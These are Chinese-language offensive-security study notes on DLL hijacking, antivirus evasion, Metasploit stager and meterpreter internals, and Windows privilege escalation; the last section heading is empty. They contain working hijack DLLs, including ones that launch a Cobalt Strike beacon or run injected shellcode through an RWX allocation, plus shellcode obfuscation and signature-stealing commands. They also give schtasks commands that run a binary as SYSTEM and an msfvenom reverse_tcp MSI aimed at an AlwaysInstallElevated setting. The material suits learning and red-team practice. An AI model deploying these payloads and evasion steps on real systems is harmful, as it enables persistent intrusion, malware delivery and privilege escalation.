• DLL入门


    在 vs2019 新建动态链接库项目,看一下 DLL 基本格式
    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    #include <Windows.h>
    
    void msg() { // 定义的函数
        MessageBox(0, L"Dll- load succeed", 0, 0);
    }
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    framework.h
    #pragma once
    
    #define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
    // Windows 头文件
    #include <windows.h>
    
    extern "C" __declspec(dllexport) void msg(void);
    

    调用 DLL
    // hello.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    #include <iostream>
    #include <Windows.h>
    using namespace std;
    
    int main()
    {
        // 定义一个函数类DLLFUNC
        typedef void(*DLLFUNC)(void);
        DLLFUNC GetDllfunc = NULL;
        // 指定动态加载dll库
        HINSTANCE hinst = LoadLibrary(L"TestDll.dll");    // 不能是绝对路径
        if (hinst != NULL) {
            // 获取函数位置
            GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");
        }
        if (GetDllfunc != NULL) {
            //运行msg函数
            (*GetDllfunc)();
        }
    }
    

    dll 调用成功:
    image-20220328102147241
    劫持的小 demo
    新建一个 TestDll2,生成后将 hello.exe,TestDll,TestDll2 放到一个文件夹中,TestDll 改为 TestDll-org(劫持之后依旧能调用),TestDll2 改为 TestDll。
    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
      
    #pragma comment(linker, "/EXPORT:msg=TestDll-org.msg")
      
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            DisableThreadLibraryCalls(hModule);
            MessageBox(NULL, L"劫持成功!", L"提示", NULL);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    image-20220328105106632
  • 漏洞原理:


    一个 windows 应用程序会使用预定义的搜索路径去找它需要被加载的 DLL,那么如果我们有其中一个 DLL 所在目录的写权限,就能放置一个恶意的 DLL 文件来进行攻击 (同时要确保这个DLL文件在合法的DLL找到之前被找到)
    微软的 dll 劫持有 3 个阶段:
    无保护阶段:Windows XP SP2之前
    1.进程对应的应用程序所在目录;
    2.加载 DLL 时所在的当前目录;
    3.系统目录即 SYSTEM32 目录(通过 GetSystemDirectory 获取);
    4.16位系统目录即 SYSTEM 目录;
    5.Windows目录(通过 GetWindowsDirectory 获取);
    6.PATH环境变量中的各个目录;
    

    Windows XP SP2之后,Windows 7之前
    添加了一个 SafeDllSearchMode 的注册表属性:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
    

    当这个值设置为 1 的时候,开启安全 dll 搜索模式,查找顺序就是:
    1.应用程序所在目录
    2.系统目录 SYSTEM32 目录
    3.16位系统目录即 SYSTEM 目录(向前兼容)
    4.Windows目录(C:\Windows)
    5.加载 DLL 时所在的当前目录
    6.环境变量PATH中所有目录。需要注意的是,这里不包括App Paths注册表项指定的应用程序路径
    

    Windows 7之后
    从 Windows7 之后, 微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即 SYSTEM32 目录下调用。
    路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
    

    在 win10 下的限制:
    image-20220328104614560
  • 寻找 DLL 劫持漏洞


    如果要劫持系统的 dll 漏洞,大致流程如下:
    1.启动应用程序
    2.使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。
    3.从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在
    4.编写从上一步获取到的DLL的劫持DLL。
    5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。
    

    理论可行,如果不能劫持的话可能有以下情况:
    1.DLL不在KnownDLLs注册表中但是已经被微软做了保护,比如ntdll.dll等系统核心dll
    2.宿主进程在调用LoadLibrary函数时使用了“绝对路径”
    3.宿主进程对调用的DLL进行了校检,比如文件MD5、HASH等值
    4.宿主调用DLL时使用了SetDllDirectory函数把当前目录从DLL的搜索顺序列表中删除
    

    劫持应用 dll,没有校验的直接可以打。可参考倾旋师傅的这篇文章:
    https://payloads.online/archivers/2018-06-09/1/
    自动化工具:https://github.com/sensepost/rattler
  • 转发式劫持


    image-20220328111714095
    可以用这个工具实现 https://bbs.pediy.com/thread-224408.htm
    两种转发函数:
    直接转发函数:即调用原DLL时触发的行为可控(DllMain 可控)
    即时调用函数:调用具体函数的时候行为可控,相当于可以实现 hook 某些函数
    

    image-20220328145319270
    在生成的代码中添加弹窗:
    #include "pch.h"
    #include <Windows.h>
    
    #pragma comment(linker, "/EXPORT:msg=TestDllOrg.msg,@1")
    
    BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
    {
        if (dwReason == DLL_PROCESS_ATTACH)
        {
            DisableThreadLibraryCalls(hModule);
            MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK);
        }
        else if (dwReason == DLL_PROCESS_DETACH)
        {
        }
    
        return TRUE;
    }
    

    成功劫持,并且原程序也能正常执行。
    image-20220328150044094
    注意 64 位的程序要加载 64 位的 dll,32 位的程序要加载 32 位的 dll。
  • 篡改式劫持


    直接在 dll 中插入语句,暴力 patch 程序入口点,jmp shellcode,然后继续向下执行,实际中存在很多限制:
    1.签名的DLL文件会破坏签名导致失败
    2.会修改原生DLL文件,容易出现一些程序错误
    

    可以用 https://github.com/secretsquirrel/the-backdoor-factory 这个项目实现
  • 通用 DLL 劫持


    不再需要导出 DLL 的相同功能接口,实现原理其实就是修改 LoadLibrary 的返回值(详细原理没看明白,以后回来补)
    https://github.com/anhkgg/SuperDllHijack 工具实现。
    在源代码中添加弹窗:
    VOID DllHijack1(HMODULE hMod)
    {
        TCHAR tszDllPath[MAX_PATH] = { 0 };
    
        MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK);
        GetModuleFileName(hMod, tszDllPath, MAX_PATH);
        PathRemoveFileSpec(tszDllPath);
        //PathAppend(tszDllPath, TEXT("dll.dll.1"));
        PathAppend(tszDllPath, TEXT("dll.dll"));
    
        //SuperDllHijack(L"dll.dll", tszDllPath);
        SuperDllHijack(L"fakedll.dll", tszDllPath);
    }
    

    其中,dll.dll 是原本要加载的 dll,fakedll.dll 是构造的恶意 dll,执行 test.exe 后发现劫持成功。
    image-20220328154812796
  • DLL劫持免杀:


    白加黑木马的结构
    1.Exe(白) —-load—-> dll(黑)
    2.Exe(白) —-load—-> dll(黑)—-load—-> 恶意代码
    

    方式一:直接加载木马
    修改转发劫持的代码,在 dll 执行结束时自动加载 cs ?,但是这样的话?还是要做免杀,也就能起一个权限维持的作用。
    BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
    {
        if (dwReason == DLL_PROCESS_ATTACH)
        {
            DisableThreadLibraryCalls(hModule);
            MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK);
        }
        else if (dwReason == DLL_PROCESS_DETACH)
        {
            STARTUPINFO si = { sizeof(si) };
            PROCESS_INFORMATION pi;
            CreateProcess(TEXT("F:\\vs_project\\miansha\\hello\\test\\beacon_10_10_10_131.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
        }
    
        return TRUE;
    }
    

    image-20220328192513469
    方式二:dll 自加载上线
    直接在 dll 中写 shellcode,然后上线。但如果是用 cs 生成的原本的 shellcode 的 dll 会被直接杀掉,这里用到了 https://github.com/kgretzky/python-x86-obfuscator 工具对 shellcode 进行混淆。(虽然最后还是会被杀)
    python x86obf.py -i payload.bin -o output.bin -r 0-184
    

    然后转换成 c 的格式:
    #!/usr/bin/env python3
    shellcode = 'unsigned char buf[] = "'
    with open("output.bin", "rb") as f:
        content = f.read()
    #print(content)
    for i in content:
        shellcode += str(hex(i)).replace("0x", "\\x")
    shellcode += '";'
    print(shellcode)
    

    dll 文件修改为:
    BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
    {
        if (dwReason == DLL_PROCESS_ATTACH)
        {
            DisableThreadLibraryCalls(hModule);
            unsigned char buf[] = "shellcode";
            size_t size = sizeof(buf);
            char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(inject, buf, size);
            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
        }
        else if (dwReason == DLL_PROCESS_DETACH)
        {
        }
    
        return TRUE;
    }
    

    火绒查杀能过,360 云查杀过不了。
    image-20220331111134730
  • 证书签名伪造


    如果我们替换了原有的 dll,会造成 dll 的签名发生改变,但有些杀软不会去检验证书签名是否有效,能一定程度上规避免杀:
    工具:https://github.com/secretsquirrel/SigThief.git
    可以将从以签名的 PE 文件中剥离签名,并附加到另一个 PE 文件中,但这个签名可能会无效(哈希不匹配)。
    python3 sigthief.py -i VSTOInstallerUI.dll  -t TestDll.dll -o TestDllSign.dll
    

    查看签名:
    Get-AuthenticodeSignature .\TestDll.dll
    

    image-20220329102955169
    如何添加有效的签名:
    数字签名的哈希验证是通过以下注册表键值执行的:
    {603BCC1F-4B59-4E08-B724-D2C6297EF351} // Hash Validation for PowerShell Scripts
    {C689AAB8-8E78-11D0-8C47-00C04FC295EE} // Hash Validation for Portable Executables
    

    所在位置:
    HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    

    image-20220329110808846
    在已有的签名机制下,无法做到既可以使签名合法(证书没有私钥),又满足 hash 匹配,能做到的只有削弱签名验证机制。这里我们需要使用一个合法的 dll 文件来替换原来键值表示的 dll,因为它应该已经使用相同的私钥签名。另外,我们还需要将注册表项原来的函数用一个名叫DbgUiContinue的函数替换掉。
    自动化操作可以通过 https://github.com/netbiosX/Digital-Signature-Hijack 实现。(复现失败了)
  • 免杀实操


    用 Rattler 自动查找可劫持的 dll
     .\Rattler_32.exe "C:\Program Files (x86)\Notepad++\notepad++.exe" 1
    

    靶机上有很多可以利用的:
    image-20220331115138413
    选一个 mimeTools.dll,用 AheadLib+ 处理后加入 shellcode,然后替换原 dll 文件,运行 notepad++ 后上线
    image-20220331154921937
  • 参考文献:


  • MSF 的 payload 分析


    执行方式上有 3 种 独立 (Single)、传输器 (Stager)、传输体 (Stage),前者单独执行,后两种共同执行。也有人直接分为两种:staged 和stageless,本质上是一样的。相关实现在 modules/payloads 下
    single:独立载荷,可直接植入目标系统并执行相应的程序
    
    stager:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。
    
    stage:传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。
    

    常用的就是 stager + stage ,类似 web 渗透中的小马 + 大马,重点关注一下 stager,以常用的反弹 shell 的 reverse_tcp 为例。源码地址 https://github.com/rapid7/metasploit-framework/blob/bdb729a43bfe4c178ab49cba25f022b01baed853/lib/msf/core/payload/windows/reverse_tcp.rb
      def generate_reverse_tcp(opts={})
        combined_asm = %Q^
          cld                    ; Clear the direction flag.
          call start             ; Call start, this pushes the address of 'api_call' onto the stack.
          #{asm_block_api}
          start:
            pop ebp
          #{asm_reverse_tcp(opts)}
          #{asm_block_recv(opts)}
        ^
        Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
      end
    

    重点看一下组成 shellcode 的 3 部分,asm_block_api 根据函数的 hash 搜索函数地址并调用,具体实现位于 lib/msf/core/payload/windows/block_api.rb
      def asm_block_api(opts={})
        Rex::Payloads::Shuffle.from_graphml_file(
          File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
          arch: ARCH_X86,
          name: 'api_call'
        )
      end
    

    asm_reverse_tcp(opts) 负责创建 TCP 连接,asm_block_recv(opts) 用来接收和处理 msf 发的数据,具体实现都在当前文件中。
    看一下实现流程,先执行 cld 确保字符串的解析方向,然后将 asm_block_api 的地址存到 ebp 中,这样只要调用 push 函数的 hash 值,接着 call ebp 就能调用这个函数。
    asm_reverse_tcp 部分就是用汇编实现了一个 tcp 的连接,大致流程:
    push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
    

    asm_block_recv 部分实现,先接收 4 字节的 length ,直接调用 VirtualAlloc 分配有 RWX 权限的内存用于保存 payload(会被杀软检测!)
    recv:
    ; Receive the size of the incoming second stage...
    push byte 0 ; flags
    push byte 4 ; length = sizeof( DWORD );
    push esi               ; the 4 byte buffer on the stack to hold the second stage length
    push edi               ; the saved socket
    push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
    call ebp               ; recv( s, &dwLength, 4, 0 );
    ; Alloc a RWX buffer for the second stage
    mov esi, [esi]         ; dereference the pointer to the second stage length
    push byte 0x40 ; PAGE_EXECUTE_READWRITE
    push 0x1000 ; MEM_COMMIT
    push esi               ; push the newly recieved second stage length.
    push byte 0 ; NULL as we dont care where the allocation is.
    push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    

    这一部分就是 windows 下 shellcode 的常规写法然后连续 xchg ebx, eax;push ebx 将这段内存地址(也就是 payload 地址)压入栈中,最后通过 ret 弹出,最后进入该地址执行。
    ; Receive the second stage and execute it...
    xchg ebx, eax          ; ebx = our new memory address for the new stage
    push ebx               ; push the address of the new stage so we can return into it
    read_more:               ;
    push byte 0 ; flags
    push esi               ; length
    push ebx               ; the current address into our second stage's RWX buffer
    push edi               ; the saved 
    push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
    call ebp               ; recv( s, buffer, length, 0 );
    add ebx, eax           ; buffer += bytes_received
    sub esi, eax           ; length -= bytes_received, will set flags
    jnz read_more          ; continue if we have more to read
    ret                    ; return into the second stage
    

    这里有个很有意思的地方,edi保存的是socket,原因是为什么可以先放一下。
    除了 msf 自带的,还有 cs 作者写的 metasploit-loader https://github.com/rsmudge/metasploit-loader,用 C 写的比较容易理解,但实际上和 msf 自带的在流程上没有什么区别。
    //主函数
    int main(int argc, char * argv[]) {
        ULONG32 size;
        char * buffer;
        //创建函数指针,方便XXOO
        void (*function)();
        winsock_init(); //套接字初始化
        //获取参数,这里随便写,接不接收无所谓,主要是传递远程主机IP和端口
        //这个可以事先定义好
        if (argc != 3) {
            printf("%s [host] [port] ^__^ \n", argv[0]);
            exit(1);
        }
    
        /*连接到处理程序,也就是远程主机 */
        SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));
    
        /* 读取4字节长度
        *这里是meterpreter第一次发送过来的
        *4字节缓冲区大小2E840D00,大小可能会有所不同,当然也可以自己丢弃,自己定义一个大小
        */
        //是否报错
        //如果第一次不是接收的4字节那么就退出程序
        int count = recv(my_socket, (char *)&size, 4, 0);
        if (count != 4 || size <= 0)
            punt(my_socket, "read length value Error\n");
    
        /* 分配一个缓冲区 RWX buffer */
        buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (buffer == NULL)
            punt(my_socket, "could not alloc buffer\n");
    
        /* 
        *SOCKET赋值到EDI寄存器,装载到buffer[]中
        */
        //mov edi
        buffer[0] = 0xBF;
    
        /* 把我们的socket里的值复制到缓冲区中去*/
        memcpy(buffer + 1, &my_socket, 4);
    
        /* 读取字节到缓冲区
        *这里就循环接收DLL数据,直到接收完毕
        */
        count = recv_all(my_socket, buffer + 5, size);
    
        /* 将缓冲区作为函数并调用它。
        * 这里可以看作是shellcode的装载,
        * 因为这本身是一个DLL装载器,完成使命,控制权交给DLL,
        * 但本身不退出,除非迁移进程,靠DLL里函数,DLL在DLLMain里是循环接收指令的,直到遇到退出指令,
        * (void (*)())buffer的这种用法经常出现在shellcode中
        */
        function = (void (*)())buffer;
        function();
        return 0;
    }
    

    这里也出现了同样的问题,需要将 SOCKET 赋值到 edi 寄存器,装载到buffer[]中,和前面一样。
  • Meterpreter payload 分析


    在 staged 模式下,meterpreter 提供 stage,也就是具体的 payload,具体的实现使用了大量的反射 dll 注入技术,不会再磁盘上留下任何文件,直接载入内存,可以很好的规避杀软,而我们前文分析的 stager 文件则有很多特征,通常需要做免杀处理。
    扯远了,这里看 msf 中的具体实现,在 lib/msf/core/payload/windows/meterpreter_loader.rb 中的 stage_meterpreter 函数中
     def stage_meterpreter(opts={})
        # Exceptions will be thrown by the mixin if there are issues.
        dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))    #读取 metsrv.x86.dll
    
        asm_opts = {
          rdi_offset: offset,
          length:     dll.length,
          stageless:  opts[:stageless] == true
        }
    
        asm = asm_invoke_metsrv(asm_opts)   # 生成字节码
    
        # generate the bootstrap asm
        bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
    
        # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
        if bootstrap.length > 62
          raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
        end
        # 这一部分都是检查
        # patch the bootstrap code into the dll's DOS header...
        dll[ 0, bootstrap.length ] = bootstrap  # 替换 dll 头
    
        dll
      end
    

    挨个函数看,首先是 load_rdi_dll,读取了这个 dll 文件,返回文件和对应偏移量,这个 offset 对应的是 ReflectiveLoader导出函数的地址
      def load_rdi_dll(dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER)
        dll = ''
        ::File.open(dll_path, 'rb') { |f| dll = f.read }
    
        offset = parse_pe(dll, loader_name: loader_name, loader_ordinal: loader_ordinal)
    
        unless offset
          raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
        end
    
        return dll, offset
      end
    

    这个 offset 直接被传入了 asm_invoke_metsrv 中,首先是构造 MZ 头
      def asm_invoke_metsrv(opts={})
        asm = %Q^
            ; prologue
              dec ebp               ; 'M'
              pop edx               ; 'Z'
    

    这里的部分就是反射 dll 技术,加载 dll 到自身内存,最后返回 dllmain 的函数地址,存在 eax 中
              call $+5              ; call next instruction
              pop ebx               ; get the current location (+7 bytes)
              push edx              ; restore edx
              inc ebp               ; restore ebp
              push ebp              ; save ebp for later
              mov ebp, esp          ; set up a new stack frame
            ; Invoke ReflectiveLoader()
              ; add the offset to ReflectiveLoader() (0x????????)
              add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
              call ebx              ; invoke ReflectiveLoader()
            ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
              ; offset from ReflectiveLoader() to the end of the DLL
              add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
        ^
    

    这里的 edi 中存着的就是 socket 的地址,在前面的这句
    add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
    

    代码中,ebx 指向的是在 dll 加载空间的末尾,也就是说现在 socket 的地址被放到了 dll 加载空间的末尾。
     unless opts[:stageless] || opts[:force_write_handle] == true
          asm << %Q^
              mov [ebx], edi        ; write the current socket/handle to the config
          ^
        end
        # 
    

    前面提到过,eax 中存的是 dllmain 函数,在这里调用
        asm << %Q^
              push ebx              ; push the pointer to the configuration start
              push 4                ; indicate that we have attached
              push eax              ; push some arbitrary value for hInstance
              call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
        ^
      end
    

    ebx 中是什么还不知道,前面这只是生成 payload 的前半部分,在 stage_payload 中可以看出后面还加上了一些配置信息
      def stage_payload(opts={})
        stage_meterpreter(opts) + generate_config(opts)
    

    持续跟进 generate_config 函数,其中主要的操作就是将各种配置转化为字节码,在 session_block 和 transport_block 函数中,发现这里给有一段区域填充了 8 位的 0,给 socket 留了位置。
    也就是说在 mov edi, &socket 之后,ebx 指向的那块内存就从之前的 8 位 0,变成了 socket,从而让 ebx 指向了 socket 的地址。
        session_data = [
          0,                  # comms socket, patched in by the stager
          exit_func,          # exit function identifer
          opts[:expiration],  # Session expiry
          uuid,               # the UUID
          session_guid        # the Session GUID
        ]
    
        session_data.pack('QVVA*A*')
    

    放两张参考文献中的 dalao 的调试图:
    1106918-20200509173728840-254478172
    1106918-20200509173741504-441507510
    (ebx -> 006CAC05 -> 0150[socket] <- edi)
  • 反射 dll 分析


    相关代码在 https://github.com/rapid7/metasploit-payloads 中,看一下生成这个 metsrv.dll 的 metsrv.c
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
    {
        BOOL bReturnValue = TRUE;
    
        switch (dwReason)
        {
        case DLL_METASPLOIT_ATTACH:
            bReturnValue = Init((MetsrvConfig*)lpReserved);
            break;
        case DLL_QUERY_HMODULE:
            if (lpReserved != NULL)
                *(HMODULE*)lpReserved = hAppInstance;
            break;
        case DLL_PROCESS_ATTACH:
            hAppInstance = hinstDLL;
            break;
        case DLL_PROCESS_DETACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
            break;
        }
        return bReturnValue;
    }
    

    看一下 stage 中的调用 dllmain 的过程,其中 DLL_METASPLOIT_ATTACH 函数在 metsrv.c 中,而 config_ptr 传递的是前面的 push ebx,也就是 socket 句柄所在地址的那段数据的起始地址。
    call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
    

    在 DLL_METASPLOIT_ATTACH 分支中,会将 ebx 指向的这段地址中的数据转为 MetsrvConfig 结构体。
    typedef struct _MetsrvConfig
    {
        MetsrvSession session;
        MetsrvTransportCommon transports[1];  ///! Placeholder
    } MetsrvConfig;
    

    将这段内存(本来也是生成的 config)重新转化为 MetsrvConfig 类型,其中的变量在 payload 的生成选项里都有。
    既然发生了类型转换,那就看一下 edi 指向的这个 socket 在转换后被分配到了哪个变量。
     union
        {
            UINT_PTR handle;
            BYTE padding[8];
        } comms_handle;                       ///! Socket/handle for communications (if there is one).
    

    继续跟进 comms_handle,可以发现对这个联合体的调用都在 metsrv/server_setup.c 中,其中的 server_setup 函数在完成类型转换之后的 Init 中被调用。看一下调用了 comms_handle 的部分。
    ...
    dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
    ...
    
    dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
    if (remote->transport->set_handle)
    {
        remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
    }
    

    重点在这一句,将 remote->transport 设置为之前创建的 socket
    remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
    

    剩下的就是建立 tcp 连接的过程了,用的是前面创建的 socket 句柄。
  • 流量分析


    由 msf 发的包分 3 部分,首先是 4 字节的长度
    image-20220321113912197
    第二部分是修改了 DOS 头部的 metsrv.x86.dll,可以看到 MZ 头和 PE 头
    image-20220321114016082
    第三部分是配置数据
    image-20220321114254291
  • 参考文献


>

  • 关于 Windows 提权


    大致分为内核提权(利用 windows 底层的漏洞)和服务提权(windows 服务和相关软件由于配置不当产生的漏洞),这篇文章大致梳理了一下服务提权的几种常见打法。
  • 简单的关于 Windows 的访问控制模型


    windows 用户都有特定的访问令牌(Access Token),被访问的对象都有特定的安全描述符(Security Descriptor),判断用户的访问令牌能否通过安全描述符的层层检查,确定是否有访问权限。
    访问令牌在用户登录的时候,由系统从内部数据库中读取该账户的信息,然后用这些信息生成。此后这个用户启动的每一个进程都会获得这个令牌的副本,当线程去访问某个对象或执行某些操作的时候,Windows 就会对这个线程持有的令牌进行访问检查。
    安全描述符重点关注访问控制列表 ACL(Access Control List),在其中起判断作用的重点关注 3 个(访问控制项) ACE(Access Control Entry)
    第一个ACE拒绝Andrew账户对Object进行读取,写入和执行操作;
    第二个ACE允许Group A账户组中的所有账户对Object进行写入操作;
    第三个ACE允许任何账户对Object进行读取和执行操作;
    

    经过检查之后的线程就有了对应的访问权限。
  • 基础命令


    query user //查看用户登陆情况
    whoami //当前用户权限
    systeminfo //查看当前系统版本与补丁信息(利用系统较老,没有打对应补丁来进行提权)
    ver //查看当前服务器操作系统版本
    Net start //查看当前计算机开启服务名称
    
    #添加管理员用户
    net user username(用户名) password(密码) /add
    (先添加一个普通用户)
    net localgroup adminstrators username /add
    (把这个普通用户添加到管理员用户的组中)
    如果远程桌面连接不上可以添加远程桌面组
    net localgroup "Remote Desktop Users" username /add
    netstat -ano //查看端口情况
    tasklist //查看所有进程占用的端口
    taskkil /im 映像名称.exe /f //强制结束指定进程
    taskkil -PID pid号 //结束某个pid号的进程
    
  • 基础提权信息收集


    查询系统信息
    systeminfo 
    如果要查看特定的信息,可以使用
    systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
    主机名
    Hostname
    环境变量
    Set
    查看用户信息
    Net user
    查看服务pid号
    Tasklist /svc|find "TermService"
    netstat -ano|find "3389"
    查看系统名
    wmic os get caption
    查看补丁信息
    wmic qfe get Description,HotFixID,InstalledOn
    如果要定位到特定的补丁可以使用如下命令
    wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
    查看当前安装程序
    wmic product get name,version
    
  • 不带引号的服务路径


    当 windows 服务运行时,会发生以下两种情况之一:如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行,但是如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
    就是说在没有引号的情况下,如果路径中带空格,就会错误执行:
    C:\>"C:\Example\Sub Directory\example.exe"
    [*] Executed C:\Example\Sub Directory\example.exe
    C:\>C:\Example\Sub Directory\example.exe
    'C:\Example\Sub' is not recognized as an internal or external command, operable program or batch file.
    

    那么可以放置一个与第一个名称相同的恶意名称相同的 exe(例子中的 Sub),就可以越权执行了。
  • 不安全的服务权限


    现在的操作系统不会存在有漏洞的服务,所以,有漏洞的意思使我们可以再次配置某个服务的参数。
    可以用 sc 查询,配置,管理 windows 服务
    sc qc Spooler
    

    image-20220203222508677
    可以用 accesschk 检查每个用户拥有的权限和每个服务需要的权限。
    accesschk.exe -ucqv *        (列出所有服务)
    accesschk.exe -ucqv Spooler (查看指定服务)
    accesschk.exe -uwcqv "Authenticated Users" * (查看用户组对服务的权限)
    

    image-20220203223029613
    实操:手中只有 win7,暂时没有复现
    任何下图的访问权限都将给我们一个 SYSTEM 权限的 shell
    2
  • 服务路径权限可控


    注册表:由一系列配置单元配置集合组成,它们按以下方式分解:
    HKEY_CLASSES_ROOT - 文件类型的默认应用程序
    HKEY_CURRENT_USER - 当前用户的个人资料
    HKEY_LOCAL_MACHINE - 系统配置信息
    HKEY_USERS - 系统用户配置文件
    HKEY_CURRENT_CONFIG - 系统启动硬件配置文件
    

    在软件注册服务的时候,会在注册表中创建几个项,路径如下:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
    

    对注册表的查询可以用 SublnACL 完成,也可以使用AccessChk工具查询注册表。
    这时有两种提权思路;
    1. 直接修改注册表,也就是说注册表的修改权限当前用户可控,直接修改 ImagePath 的值,指向本地其他路径(传的?),但要是注册表都可控了此时的权限也大概够了。。。
    2. ImagePath 指向的目录权限可控,那么可以把软件原本的组件(.exe)换成我们恶意的程序,那么当软件启动的时候就能执行我们的?(这个方法的前提原理是:开机自启动服务的权限是 SYSTEM)。
  • 定时任务计划提权


    at 适用版本:Windows2000,2003,XP,win7,能把 Administrator 组下的权限提到 SYSTEM
    因为默认以 SYSTEM 权限定时任务计划(批处理/二进制文件)
    语法:at 时间 命令
    at 7:50 notepad.exe
    

    windows server 2012 中的 at:
    image-20220308163723576
    考虑用 schtasks 设置计划任务
    添加计划任务:
    schtasks /create /s 192.168.0.129 /tn test /sc onstart /tr c:\a.exe /ru system /f
    运行计划任务:
    schtasks /run /s 192.168.0.129 /i /tn "test"
    删除计划任务:
    schtasks /delete /s 192.168.0.129 /tn "test" /f
    删除 IPC$
    net use  \\192.168.0.129 /del /y
    

    image-20220308190248345
    注意:在使用schtasks命令的时候会在系统留下日志文件C:Windows\Tasks\SchedLgU.txt。
  • MSI安装策略提权(AlwaysInstallElevated)


    AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
    验证方式:
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    或:
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    

    如果找不到说明没漏洞,能用的话可以直接用 msf 生成对应木马:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.117.134 LPORT=443 -f msi-nouac -o lask.msi
    
  • 组策略首选项(GPP)漏洞


